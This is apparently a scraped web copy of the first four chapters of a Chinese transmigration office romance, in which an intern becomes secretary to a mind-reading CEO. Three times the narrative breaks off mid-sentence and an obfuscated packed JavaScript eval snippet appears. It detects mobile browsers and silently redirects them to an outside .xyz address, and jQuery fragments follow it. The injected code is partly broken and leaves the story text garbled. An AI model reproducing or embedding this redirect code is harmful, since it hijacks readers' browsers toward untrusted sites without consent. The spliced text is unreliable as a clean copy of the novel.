《虞秘书今天辞职了吗?》
1. 第 1 章
三月的春光毫不吝啬从大厦光洁的玻璃窗跃入,温暖明媚地落在人身上,彷佛给一切都熔上了春的滤镜,然而行政区的都市丽人们没有一人在意,乒乒乓乓收拾着文件。
主管季咏文在办公室内巡视检查,神情颇有些焦躁。
“傅总的劳斯莱斯已经驶入公司地下停车场了,再有五分钟就要到顶层!”
“文件全部重新整理,边角线对齐,靠工位挡板摞起来,桌面上的杂物通通给我扔进抽屉,不允许东一个西一个地随意乱放!”
“谁的水杯放这里了,给我拿走,不然我扔垃圾桶了!”
“实习生呢,实习生收拾好过来我这里集合!”
其余实习生一边整理,一边小声和相熟的员工聊天。
“傅总回来了?他海外合作项目谈完了?这么说我终于能见到傅总真容了?!”
“别急着开心,等傅总回来你就知道什么叫生不如死了。”
“有这么可怕吗?”
虞晚刚送完文件从财务部回来,看到行政区兵荒马乱的场景,正准备问同伴原因,就被季咏文拉住,疾言厉色询问:“你工位在哪儿?”
虞晚顺手指向最外围的位置,“这儿。”
季咏文看过去。
桌面干净整洁无杂物,文件用统一色调的蓝色夹子夹好,按照大小尺寸有序摞起来,边缘用蓝色便签纸作标记,水杯、纸巾、笔筒三样摆在一条线上,就连电脑前的键盘都是正正好居中。
季咏文将原本让她整理桌面准备迎接傅总审视的话吞进肚子里,看虞晚好几眼,最终道:“你……算了,你不用整理,帮我把其他几个实习生叫来,去总裁专用电梯口列队站好,好好检查自己的着装,别出现一边衣摆塞在裤子里一边衣摆露在裤子外的问题。”
“好的季主管。”
虞晚叫上本次一同被录用的五位实习生,共六人,去了总裁专用电梯口。
装修奢华的电梯门前早有人在等候,一群西装革履的社会精英们恭敬站在电梯两侧,男女都有,身体挺得笔直,眼神坚毅,没有人交头接耳,气氛只能用肃穆二字形容。
虞晚她们一群实习生站在队伍最末端,又被匆匆赶来的行政部其他正式员工挤到最边缘。
虞晚还没搞懂发生了什么,衣袖就被人扯了扯,宋楚楚踮脚附到她耳侧,压低声音,语气难掩兴奋。
宋楚楚:“虞晚,你还不知道发生什么了吧,是傅总!我们公司的大老板傅总回公司了,据说他这回在海外分公司谈项目,忙了一个多月了,昨天才回国,今天就来公司了,我还没见过傅总长什么样呢,希望不要是个大腹便便的糟老头子。”
虞晚心静如水,看着宋楚楚亮晶晶的眼,默默腹诽:你放心,谁是老头子男主都不会是老头子。
宋楚楚已经习惯自己这个同事的寡言少语,尽管开始还有些不满,但回家告诉妈妈后,妈妈安慰她说,话少没关系,只要不告密不搞小动作就行。
于是她观察了虞晚一段时间,发现这两样虞晚都没有,便放心大胆对她吐槽一些压根不会对其他同事说的事情。
不等宋楚楚继续说,电梯口传来动静。
叮的一声。
铅灰色电梯门打开,从里面走出五个人。
为首那位男人一身深灰色定制西装,西装布料细腻挺括,熨烫妥帖,不见一丝褶皱,油光锃亮的皮鞋在光洁的地板上踩过,发出稳健有力的轻响,虞晚视线从鞋子缓缓上移,掠过一双被西装裤包裹的结实长腿,裤腿正中锐利平整的折痕线平添性感与荷尔蒙,再往上是收窄的腰身和宽阔健壮的脊背,以及……
一张惊世骇俗的脸。
高挺的鼻骨和深邃的眉眼,下颌线锋利好似艺术家手中精心雕刻的塑像,一双眼漆黑狭长,眸中情绪内敛深沉,像无澜的古井,让人无法看透,黑色剑眉斜飞入鬓,透着恰到好处的凌厉,一双薄厚适中的唇,唇形漂亮,弧度优美,只有淡淡的血色,却不显消瘦,反而格外性感。
毫不夸张,比虞晚上辈子加这辈子看过的所有明星都要好看。
两侧列队的员工微微低头,齐声道:“傅总好!”
虞晚混在人群中,愣愣看着俊美的男人走近,然后,控制不住地咽了一口口水。
咕叽一声。
反应过来自己做了什么后,虞晚连忙垂下眼,一面祈祷没有人听见,一面烫红着耳朵装作什么也没发生。
高级定制的黑色皮鞋逐渐向着她的方向靠近,就在要迈过去前,忽然停下,厚重极具侵略性的苦艾香气席卷她。
虞晚强忍着砰砰乱跳的心脏,克制住自己的呼吸频率,将视线紧紧黏在光可鉴人的灰色瓷砖上,充当一个完美的石雕人像。
越是这种时刻,她越是能感觉到对方的视线在她身上停留、扫视,像是黑暗中潜伏的猎豹,只待一个时刻将她撕扯干净。
虞晚面上平静如水,大脑飞速运转,思考着有关原著的剧情。
如无意外,这位傅总应该就是小说中的男主傅知尧。
也是小说文案里心思阴鸷狠戾,对情爱二字避之不及,一心只有事业和复仇的人。
按照现在的剧情节奏,男主傅知尧和女主宋楚楚还是大老板和实习生的关系,彼此了解并不多,真正让两人开始产生纠缠的是某次宴会,男主不慎被下药,撞上了女主,两人天雷勾地火滚到了一起,从此,女主开始带球跑,男主开始商场驰骋,三年后两人因为工作再次碰面,一个不知情,一个知情但别扭,误会来误会去,在男主完成复仇后,和和美美大团圆。
一本古早味十足的言情霸总文。
傅知尧是面如刀削,挥金如土的霸总男主。
宋楚楚是单纯可爱,带球跑的小白兔女主。
而她?
很抱歉,她只是一个因同事热情推荐,粗略看过小说简介,连正文都没来得及翻开的路人甲。
作为一个穿越者,虞晚在睡梦中完成了和原主互换身份的过程,并在这两个月内像一只打不死的小强适应了穿书生活。
虞晚一直以为自己不可能有春心荡漾的一天,可没想到自己居然对着第一次见面的纸片人起了色心,还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585323|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
极有可能被对方抓了个现行。
运气好一点,这位霸总可能不会同她计较,当她是个屁给放了,运气不好,这位霸总会因为压制不住的暴脾气,直接将她揪出来示众,之后果断将她送走终生不录用。
想到这儿,虞晚心痛不已。
正懊恼该怎么办,脑袋上方落下一声冷漠的轻呵,富有磁性的男性嗓音响起:“十五分钟后高层会议,准备好你们的汇报文件。”
紧接着黑色皮鞋在她视线内消失,那股苦艾的气息也随之离去。
等傅总身影消失在长廊尽头,彻底进入办公室,众人才敢开口说话,细碎的讨论声飘入她耳朵,似乎是在好奇为什么傅总会突然停下。
一旁宋楚楚视线黏在傅总消失的地方,带着憧憬和崇拜的神色。
虞晚见没人注意自己方才的出糗,悄然松口气。
大概是自己以为声音很大,实际上不大吧。
恭迎傅总回公司的仪式结束,虞晚回到自己工位上后了解到公司一楼大厅其实同样准备了欢迎仪式,但傅总完全没给那些人面子,直接从电梯一路抵达顶楼办公室,可谓是狂拽又潇洒。
虞晚一面整理文件,一面忍不住想,什么时候她能位高权重到别人对她鞠躬行礼呢。
到那个时候,别说是买一个小公寓了,就是大平层、大别墅恐怕都不成问题吧。
作为一个孤儿院长大的孩子,虞晚最渴求的,不过是一个属于她的房子。
原主和她成长经历相当。
同样在孤儿院长大,同样争气地考入大学,课余时间与假期努力打工赚钱维持生计,只不过上辈子的虞晚已经参加工作满一年,刚升职加薪没多久就穿到了这个世界,和原主互换身份。
原主这会儿却还是个刚写完毕业论文没多久,准备答辩毕业的大学生。
为了求职,虞晚熟练地写好简历,天女散花一样,给各个大公司投递了一份,图的就是一个广撒网,总会有鱼儿上钩。
出乎意料的,她得到了傅氏集团的回复。
于是,虞晚一路过五关斩六将进了傅氏,入职行政部,成了一个小小实习生,实习期三个月,考核合格后转正。
虞晚秉持着既来之则安之的想法本本分分工作,只是她仍有些不明白,像傅氏这样全国顶尖的公司,人才济济,每天收到的求职简历恐怕像是雪花一样多,她一个要关系没关系要背景没背景的是怎么被录用的。
不是虞晚爱多想,进公司将近一个多月,她对一同进公司的另外五个实习生情况也有所了解,一半是国外名校毕业的高材生,一半是有强硬后台的关系户,对比起来,她的普通本科学历简直被秒成渣渣。
但季主管对她的态度又看不出她是个有背景的,所以虞晚困惑,生怕自己一个大意给自己埋下雷。
外加虞晚并不熟悉小说剧情和设定,这种情况下,虞晚必须谨慎又谨慎,避免被剧情牵连,一个不小心,路人甲变成炮灰甲。
安安分分当一个实习生,平静无差错地度过实习期,留在傅氏工作就是她最大的愿望。
2. 第 2 章
砰!
刚给自己做完心理辅导的虞晚忽然听见会议室里传来的巨响,紧接着,是一道男声强势的怒骂。
“怎么?当我三岁小孩子,给你半个月的时间你就给我做出这么一坨东西是吗?还是说我不在公司,你觉得我们相隔千万里,随便糊弄糊弄就行了,你这个工作态度是怎么留在傅氏的,这个月的奖金不必拿了,再有下次,直接开除。”
虞晚听着大老板的怒吼,默默缩起脖子,在办公室内压低音量的细碎讨论声中,继续安静制作表格,完成季主管交待给她的任务。
表格做到一半,虞晚再次听到男人的怒骂。
“了不起,最关键的一个数据都敢给我乱写,怎么着,你是爱丽丝啊,做数据模型的时候你梦游仙境去了?!重做!”
“预算比原定超出百分之二十,你不去想如何降低成本,反倒跑来和我请求增加预算,我是能吐金币的金蟾是吗?公司的钱是大风刮来的?!”
“广告策划案的创意简直像是在创我,三千万的广告营销砸下去,观众一点印象都没有,我就是把这三千万扔水里,都能将池塘里的水给吸干直接捞鱼,给你们广告部是干什么的?全都是吃干饭的?!”
“公司产品出事,你第一个做的居然捂嘴消费者,以为给钱就能消除负面影响,甚至在社交媒体上大放厥词威胁消费者,抹黑公司形象,我以为你有自知之明提交辞呈,没想到还有脸出现在我面前给我汇报工作,怎么,当傅氏是精神病院,这么爱养闲人?!”
……
足足半个小时,会议室内的风暴才平息。
傅总第一个推开门出来,大步流星回到自己的总裁办公室,一群高管紧随其后,蔫头搭脑从会议室内走出。
季咏文虽然没有坐在会议室,却如同坐在会议室,感同身受地打了个寒颤,下意识捧起杯子,喝了口才发觉水早已凉透。
“季主管。”
季咏文吓一跳,抬头看去,是虞晚。
她放下水杯,随便点开电脑桌面上的一个文件,装忙道,“怎么了?”
“这是您方才叫我整理的资料,我已经将电子版发给您了,这是纸质版,您看看有没有需要改进的地方。”
虞晚说着,将手中的文件递给她。
季咏文翻开看了看,表格简约美观,一目了然,每个表格下方还有小字批注,便于翻阅者更详尽地了解表格内容。
她抬头,难得用正眼看虞晚。
22岁的小姑娘,长相尚可,鹅蛋脸,远山眉,白白净净的,能力嘛,不出众,但也不拖后腿,就是性格有些呆。
但这个呆,在今天的此刻,却转化为稳重可靠。
傅总在会议室发火的时候,行政区办公室内几乎所有人都在谨小慎微,偏偏这个虞晚镇定自若坐在电脑前处理资料,着实让她吃惊。
或许,傅总招秘书的那些变态要求,这个小实习生能满足,至少在傅总发火还能如此淡然的,她是头一个。
“行,做得不错。”
“季主管,还有没有其他要做的事情?”
“没了,你先回去吧。”
等虞晚坐回工位,季咏文翻起实习生们的资料,专程把虞晚的拿出来看了看,最终挑挑选选拿了其他几个人的资料,一起送去给总监董智珊过目。
总裁办目前只有三位秘书,其中,林秘书即将调职去子公司当总经理。
这么一来,总裁办就剩两个秘书,缺的那个自然要补上,只是林秘书的调职通知来得实在突然,最近一次人才招聘已经结束,再要招,费时费力费钱,傅总便让人事部从现有入职的实习生和正式员工里选。
但愿傅总能挑到符合自己心意的,不要再折腾她们了。
午餐时间。
虞晚照常和同批进入行政部的小姑娘们一起吃饭。
公司有专门的员工食堂,有炒菜有面食。
炒菜里,荤菜四块钱,素菜三块钱,有免费的鸡蛋紫菜汤也有收费的骨头汤,价格实惠,味道也不错,要不是公司只提供中餐,虞晚恨不得早中晚都在公司吃。
坐下来没多久,实习生们的话题就偏向今日见到的大boss傅知尧。
“傅总脾气着实有些残暴了,今天以前,我以为传说中的描述都是夸张手法。”
“传说中的傅总是怎么样的?”宋楚楚好奇地问。
“说傅总是大魔王啊,脾气爆,要求高,龟毛挑剔有洁癖,一个方案交上去,不修改二三十次不罢休,我说高秘书大家可能不知道是谁,但这不重要,我听说他刚当上秘书那段时间,日日在办公室里哭,公司保洁阿姨听到还以为是公司闹鬼,干了一段时间高秘书实在受不了,申请转岗去了后勤,就是现在后勤部的高总监喽。”
虞晚对面漂亮的卷发实习生笑起来,不以为意:“不会吧,这么夸张?”
“我可没有夸张,我表哥之前就在公司营销部工作,钱赚得的确多,但压力太大差点斑秃,后来跳槽去了其他公司。”
有理有据,还有人证,加上今天傅总开会时的场景,不少人对此话信服度提高。
一位短发实习生弱弱举手发言,“但是傅总长得帅啊。”
这话一出,倒是让众人瞬间忘记傅总发怒的样子,回忆起那张貌美惊人的脸蛋。
“对哦,傅总脾气虽然不好,但傅总那张脸好呀,我看,比我们公司产品找的代言人都好看。”
“呵呵,你还是太天真了。”坐在虞晚斜侧的实习生有不同的想法,“那张脸就算再好看,也总有看腻的时候,年老色衰懂不懂?要是一个男人整日冷冰冰对着你,动不动就发脾气,除非天生受虐狂,否则没人受得了。”
卷发实习生,也就是赵予书。
她表情不算好,用筷子戳着餐盘里的菜,装作不经意反驳:“怎么就是受虐狂了,说不定傅总恋爱的时候就换了个人,不都说爱情能改变一个人吗?”
“你恋爱脑吧,赵予书,你要说你看中傅总的钱我都觉得比这靠谱。”斜侧的实习生调侃她。
其余人听完哈哈笑起来,赵予书昂着脑袋哼了一声,“我又不缺钱。”
没人听见赵予书这句话,只有坐在她对面的虞晚听见了,不过她一向不怎么参与实习生们的话题,安安静静低头吃饭。
众人聊着聊着,话题突然转向傅总快二十八还不结婚是同性恋的可能性有多大,并且再次开始举例公司有人曾看到傅总和一位陌生俊朗的男性待在办公室,直到下班才离开,据说离开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585324|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的时候那位俊朗的男性腿还软了一下,最后被傅总扶上车的。
虞晚大窘:“……”
谣言着实容易误导人,要不是虞晚看过小说简介,差点也要信以为真。
-
次日清晨,虞晚端着自制拿铁从茶水间走出来,刚喝了没一口,看到行政部总监董智珊和主管季咏文一同来了办公室。
董智珊留着不过耳的简短黑发,身穿黑色女士西装和细高跟,单眼皮和哑光棕口红给人一副干练不好惹的印象,不同于季咏文偶尔的无为而治,董智珊个性强硬,喜怒不形于色,对行政部员工要求更为严苛,不少老员工私底下叫她灭绝师太。
季咏文拍了两下手掌,示意办公室内的员工看她。
董智珊翻开手中资料,喊了七八个人的名字,有实习生,也有正式员工:“赵予书,汪俊凡,宋楚楚,张念微,虞晚……”
正当一群人莫名其妙的时候,董智珊利索地合起手中的文件,扫视一圈,不容拒绝道:“被点到名字的人跟我过来。”
虞晚跟着大部队往外走,在宋楚楚用疑惑眼神询问她的时候摇摇头表示她也不知道。
但很快,大家就知道了为什么。
面前站着的,是总裁的秘书林特助,男人戴着一副银色边框眼镜,文质彬彬,气场深沉不容忽略,典型的高智型长相。
林特助看向众人:“傅总信任我,我即将调职去云城子公司工作,总裁办空缺一个助理秘书的职位,因为上一轮招聘过去不到一个月,所以决定从你们这些已经工作或者刚工作不久但表现优异且细心的人里挑选,当然,挑选的标准不由我决定,决定权在傅总手上,大家等会儿按照顺序进入傅总办公室面试,全部人员面试完,面试结果会以公告的方式在公司内部发布,大家现在还有其他的困惑可以直接说。”
众人面面相觑,片刻,有人站出来问:“助理岗位有试用期吗?如果傅总用了一段时间觉得不合适怎么办?”
工作岗位都是一个萝卜一个坑,万一公司招了新人进来,被傅总淘汰的秘书该何去何从。
林特助话滴水不漏:“公司是不会无故辞退某个员工,都是按照公司规章制度来,就算因为傅总个人原因退出总裁办,也不必担心没有合适的岗位,人事部那边自然会协调好。”
“我知道了,谢谢林秘书。”
又有人站出来提问,是虞晚认识的赵予书,“助理秘书这个职位,是公务秘书还是傅总的私人秘书呢?”
公务秘书,顾名思义就是帮忙处理公司事务的秘书,在各个部门和总裁之间做好传达兼听和中介的作用,必要时会辅助总裁进行决策,专业度要求高,做到一定地步,就可以像林特助这样,调去子公司当执行总裁,还能分得公司股份。
私人秘书就更好理解了,老板在公司里的管家,处理老板的私事,整理老板的办公桌,如果老板再挑剔一点,办公室不让清洁阿姨打扫的话,还得负责打扫卫生。
林特助看向赵予书,“这些傅总会安排,我要说的重点是大家想不想参加这次面试,如果有人想退出,现在就可以,并不强求。”
说是不强求,但人都领到这儿了,没谁想回去。
那可是能一步登天的总裁办啊!
3. 第 3 章
见没有人选择离开,林特助微微一笑,“请大家稍等,我先进去请示傅总。”
林特助敲了敲傅总办公室门,在得到许可后走进去,片刻出来:“大家按照现在排队的顺序依次进入面试,面试过程很快,傅总问什么就答什么,不必紧张,面试完的人可以直接回岗位。”
第一位面试的是个男性,正式员工,他进去不到一分钟就走了出来。
擦肩而过的时候,虞晚看到了他额头上的汗珠,不由得困惑:傅总办公室很热吗?还是说傅总问的问题给人压力很大?
不多时,赵予书的名字被喊到,她挺了挺胸脯,自信大方推门而入。
这回,不到半分钟,赵予书就惨白着一张脸走出来,整个人彷佛遭受了巨大打击,几乎是机械地迈步离开。
虞晚心下一惊。
傅总办公室的金属门实在隔音,上方的玻璃还是单向可视,在外面等候的人不仅看不见里面发生了什么,也听不到里面的人说了什么。
见赵予书这么厉害的人都变成这个样子,排在她后两位的宋楚楚下意识张口想要问她发生了什么,但刚脱口而出一个字就被总监董智珊凌厉的眸光扫过。
“赵……”
宋楚楚被吓得不敢说话,抿了抿唇,一脸担忧,再看身后的虞晚,一如既往的没表情,不知道是淡定还是装出来的。
虞晚要是知道宋楚楚的想法,估计得吐血。
她哪里是淡定,她心也很慌的好不好,毕竟每个进办公室的人都一脸压力地走出来,让人怀疑里面坐着的不是大老板傅知尧,而是吸人气血的精怪。
但这个心慌在知晓宋楚楚的女主身份后就变成了无所谓,因为在座的全是炮灰,所以无所谓。
随即新的困惑在虞晚心头产生,她看过小说简介,也没说女主成为过男主的秘书呀,还是说因为是简介,所以这部分内容没能写上去呢?
“宋楚楚。”
宋楚楚的名字被喊到,她深呼吸一口,推门进去。
一分钟后,宋楚楚从办公室走出来,还算正常,没有出汗,身子也没有发抖,她看了眼虞晚,朝她微微一笑,离开了。
只剩下虞晚一个人。
林总助做了个手势,“虞晚。”
虞晚没什么犹豫地推开门走进去。
门合上。
董智珊问季咏文,“她叫虞晚?”
季咏文连忙道:“是的,虞晚,今年22岁,六月份海市大学毕业,本科专业学的是市场营销。”
“那怎么会来我们行政部。”
“虞晚是心爱孤儿院长大的,心爱孤儿院有马董事长的慈善基金会的扶持,她相当于是走内部通道进的公司,市场部那边说她性格不太合适,就调来了我们行政部。”
季咏文干行政这么久了,眼力见儿还是有的,知道想了解虞晚的不只是董智珊,尽可能多说了几句,“她性格就是比较安静的那种,可能不适合进市场部,但做文秘工作还是可以,比较细心,做事踏实认真,交给她做的一些资料基本没出过差错。”
董智珊听着季咏文说的话,可有可无地嗯了一声,没表态。
任凭季咏文说她再好又有何用,傅总看不上还是白搭。
办公室内。
虞晚合上门才意识到办公室里有多么安静,空旷奢华的办公室内没有因文件过多而产生的油墨气味,只有淡淡的熏香味道,和傅知尧身上的有些像,只是味道更淡。
虞晚没敢乱瞟,抬头直直看向办公桌,正准备鞠躬,却没看到人影,视线一偏,看到坐在沙发上的男人。
傅知尧脱去了西装外套,只穿着灰色马甲和衬衫,长腿翘起,姿态恣意散漫,但气场不损半分,见她进来,掀眸看她,漆黑的眸子目光沉沉,没有半分多余的表情。
虞晚连忙弯腰:“傅总好,我是行政部的实习生虞晚。”
对方没有说话,虞晚也不敢抬头,低着脑袋盯着自己帆布鞋的鞋尖。
难怪那些人进来后丧着脸离开,大老板一句话不说的样子简直和大魔王没什么分别。
虞晚低了会儿脑袋,脖子酸,轻轻抬起几分,就看到沙发上的人动了动,换了个姿势,虞晚还没抬起来的脑袋复又低下去。
这个角度,只能看见大老板腰部及以下的位置,于是接下来的时间,虞晚就看到……
大老板站起身了!
大老板到她面前了!
大老板绕着她走了!
大老板将近三分钟没说话了!
“虞、晚?”
大老板终于喊了她的名字。
虞晚抬起脑袋,直起身,“是的老板,我叫虞晚,虞美人的虞,夜晚的晚。”
傅知尧站在她身前,微微昂着下巴,视线俯视,将虞晚表情尽收眼底,嗓音低醇:“哪个大学毕业的?”
“老板,我就读于海市大学,今年六月份才能拿到毕业证书。”
这句话说完,大老板足足沉默了一分钟。
虞晚能感受到他的视线在打量着她,这种打量有别于男人对女人身体的审视和利用价值的估量,不带任何情欲气息,倒像是发现她是外星生物,好奇而探究,目光带着十足的压迫感,直白得过分。
到现在,虞晚才是真的心慌了。
因为她的确是个外星人。
离得近,傅知尧身上那股苦艾的气息更为明显,淡淡的苦涩混合木质香调,极具侵略气息,虞晚鼻息间全是这个味道,严重怀疑自己要被香味腌透。
“知道我现在在想什么吗?”
傅知尧问。
虞晚没料到大老板的问题如此不着边际,下意识啊了一声,又快速反应过来,正准备摇脑袋,想起大老板的性格,艰难给出一个答案:“……我不满意你,去叫下一个人进来面试?”
“呵。”
大老板发出第一次见面时的同款冷嗤,在嗤完之后居然笑了起来,胸腔发出闷闷的声音,笑得虞晚毛骨悚然。
傅知尧后退几步,坐回到沙发上,仰视的角度看出俯视的气势,虞晚不自觉挺直脊背。
不同于虞晚脑子里想的,傅知尧此刻只觉得稀奇。
稀奇这个世界上居然有除了他家人外,第一个他无法听见其心声的人,这个叫虞晚的女人到底有什么特别的。
瘦瘦的身子,身高不超过一米七,顶多一米六八,鹅蛋脸,脸上带着些婴儿肥,眉毛不细不粗,眉峰稍浓,像是什么远山眉,对他一个见惯淑女美女的人来说,虞晚的长相实在是平平无奇,唯一可圈点的大概就是对方因为年轻还算白净的皮肤,没化妆,没喷香水,淳朴又稚嫩。
确认对方无法听到自己的心声,傅知尧紧绷的神情松懈些许,但随即警惕起来。
这样特殊的人,可不是随手一抓就能找到的,难不成对方知道自己这个特殊能力,蓄意接近他?
可他能读心的能力,除了父母、奶奶,从未对外人说过,就连他妹妹都不知道。
还是说,虞晚是哪家公司送来的商业间谍?
毕竟昨天,也正是虞晚这个女人,在其他一众员工兢兢战战时,镇定自若与他对视,让他怀疑她对他性格脾气了如指掌,才能做到如此淡定。
傅知尧眸色沉下来,“知道当我秘书要做些什么工作吗?”
虞晚:“……”
林特助不是说,要做什么工作大老板会说的吗?
虞晚心如火煎,嘴上却一刻没停给出了答案:“老板您让我做什么我就做什么。”
老板是天,老板是地,她不过是个小实习生,哪敢说不知道不愿意。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585325|171715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当然,卖身除外。
傅知尧冷嗤一声,不紧不慢端起茶几上的杯子,喝了口水。
如果虞晚是别有用心的人,那她未免也太过心机,这样的回答,让他一点错都挑不出来。
既然今天没选出一个让他满意的秘书,那他就将虞晚调到身边来,看看这个他无法读取心声的家伙到底有什么居心。
虞晚已经快对大老板的嗤笑免疫了,站着一动不动,等待大老板直白的劝退。
没料到,大老板扬了扬锋利的眉毛,不容置喙道:“收拾收拾东西,搬到总裁办,林特助会告诉你该坐哪个工位。”
虞晚表情终于有了波澜,眼睛微微睁大。
傅知尧漫不经心勾起唇角,很好,露出破绽了。
“怎么,不满意?有什么想说的?”
虞晚抿了抿干燥的唇,抬头看向傅知尧,视线在对方俊美无俦的脸庞上停留,鼓足勇气问:“老板,助理秘书工资是多少啊?”
傅知尧:“……”
三分钟后,虞晚从办公室走出来。
对外面等候的三人来说,虞晚的面试时间是所有人中最长的那个,将近十分钟。
见虞晚表情没有明显受挫,季咏文第一个替大家问出疑惑,“可算是结束了,傅总说了些什么?”
虞晚精神有些恍惚,她眼睛眨了好几下,抬头看向面前三人,“……老板说,叫我今天将工位搬到总裁办。”
对面三人:“!!!”
很快,虞晚从实习生飞升助理秘书的事传遍整个行政区,紧接着又因为内部邮件的发布,传遍了整个公司。
有看热闹好奇的:“傅总的总裁办还是头一回招女秘书,这个叫虞晚的实习生难不成长得很漂亮?”
有幸灾乐祸的:“傅总脾气可不算好,这个实习生的秘书位置待不了多久。”
有毫不掩饰鄙睨的:“学历不过是个普通的本科,这都能进总裁办,肯定使了什么狐媚手段。”
还有松口气的,像人事部的总监何城,他刚飞去京市出差,参加一个大型人才交流会,对于傅总秘书需求人选无法亲自筛选,便将事情托给了行政部的董智珊帮忙。
电话接通的时候,何城先是道了谢,紧接着问起傅总新招的小秘书:“我看这个叫虞晚的小姑娘今年六月份才能毕业是不是,她本人有信心胜任这份工作吗?”
委婉的问询话语,实际上是对虞晚能力的质疑。
毕竟是个年轻的姑娘,实习期都没过就直接成了傅总身边的秘书,万一事没做好,他都不确定自己人事总监这个位置能不能坐稳。
董智珊当然知道何城这个老狐狸在想什么,面无表情:“傅总亲自选的人,不满意就辞退,她无法胜任有的是人能胜任,何总监有什么好担心的。”
何城就知道董智珊这个灭绝师太会这么说,虽然人是傅总亲自选的,但他们做人事的不就是要充分挖掘和利用人才资源的优势,让每个人找到合适的岗位,为公司创造更大的利益吗?
要是随随便便就辞退,随随便便就招人,没半点规章制度,公司还过不过了!
虞晚既然成了傅总秘书,有些事他不得不忧心。
于是何城又拜托董智珊:“我过两天就和姜副总监回海市,董总监,你对傅总了解多,麻烦您给这个叫虞晚的小姑娘培训培训,我回来请你吃饭。”
“吃饭就不必了,我毕竟也是行政部的总监,虞晚是从我们行政部出去的员工,该做什么不该做什么我会教她的。”
“好好好,那就麻烦董总监了。”
电话挂断,何城抹了抹额头上不存在的汗珠,点开电脑上虞晚入职的人事档案,一行行细细浏览下去,想要挖掘这个叫虞晚的实习生到底有什么特别的地方,能让一向挑剔的傅总看中。
4. 第 4 章
这边,虞晚已经将工位上的东西收拾好,在行政部员工的注视下,搬去了总裁办。
总裁办此刻没人,虞晚得以好好打量她未来的工作环境。
办公室很大,总共五个工位,每个工位大小几乎相当于她原先工位的两倍,工位三面是半人高的挡板,即便站着走动也不容易看清楚对方的电脑屏幕,极具隐私性,工位下方还有一个四层的上锁铁皮柜,上面插着把钥匙,储物空间相当充足。
因为和大老板办公室有一面墙相连,除了下方的金属隔板,上方单向可视玻璃能让老板看清总裁办内的场景,因此,靠墙这边只有两个工位。
偏巧不巧,虞晚的工位就在这边。
虞晚抽出纸巾将工位仔细擦拭一遍,摆好笔筒和水杯,简单整理一番,刚坐下,桌上座机电话就响了起来。
虞晚接起电话:“您好,这里是总裁办,我是虞晚。”
电话那边愣了几秒,传来一道女声:“来办公室找我。”
是行政部总监董智珊。
虞晚拿着笔记本和笔过去,董智珊瞧见她手里的本,心里感慨终于不是个笨家伙,面上表情却冷淡:“拿本子干什么?”
虞晚如实回答:“人事部何总监出差去了,我转岗去总裁办的事情都是您经手的,我猜想您可能有什么要叮嘱我。”
董智珊眉头动了动,没接虞晚这句话,打开办公室内的投影幕布,让虞晚自己看。
虞晚看得比入职培训还要认真。
因为她发现,这份ppt内的信息比入职培训更有含金量:傅氏集团旗下的公司有哪些,主营业务是哪些,每年主营业务的财务情况,亏损是多少,盈利是多少,利润率是多少,环比上升还是下降,为什么该项目亏损每年却仍大把大把投钱,为什么该项目分明有盈收却被公司优化兼并……
虞晚边看边记录,一刻都没停过,董智珊坐在一旁处理工作,偶尔抬头看虞晚两眼,视线里,是女孩认真做笔记的背影。
等ppt看完,董智珊便开始给她讲傅总的事,不涉及隐私,完全是出于让虞晚更好地为傅总工作的角度。
董智珊镜片下的眼睛射出锐利的光,声音不疾不徐:“想要留在傅总身边做好工作,第一点,绝对,不要撒谎。”
虞晚心头一凛。
一小时的培训结束,虞晚收获满满,拿着笔记本回办公室,刚好撞见总裁办员工结束会议,总裁办其余几人回来了。
林特助给他们介绍虞晚:“总裁办新人,虞晚,今年22岁,以后就将加入我们总裁办,共同为傅总工作。”
虞晚连忙鞠躬:“大家好,我是虞晚,很荣幸能进入总裁办和各位前辈一起工作,以后请大家多多指教。”
“客气了,都是同事,谈不上什么指教。”一位脸庞有些许圆润的男人笑了笑,主动接话。
虞晚抬头看去,男人和林特助年纪相当,但林特助瘦一些,看着更年轻,这位男人有着标准欧式大双眼皮,厚耳垂,整个人懒洋洋的,气息格外温和,像一只树懒。
林特助介绍:“尚志风,职位是总监,你叫他尚秘书就好,主要负责我们集团固定资产的管理和公司制度流程的落地,一些重要文稿的起草也是他来写,算是我们总部的才华小王子。”
虞晚适时露出惊讶的表情,“尚秘书好。”
尚志风摆摆手,“多读了几本书,没那么夸张。”
林特助介绍另一位秘书,“蔡杨,职位同样是总监,但公司里你就叫他蔡秘书,他负责公司经营活动的跟进,还有公司级项目的管理和合同的审批,出差比较多。”
虞晚朝男人鞠躬,“蔡秘书好。”
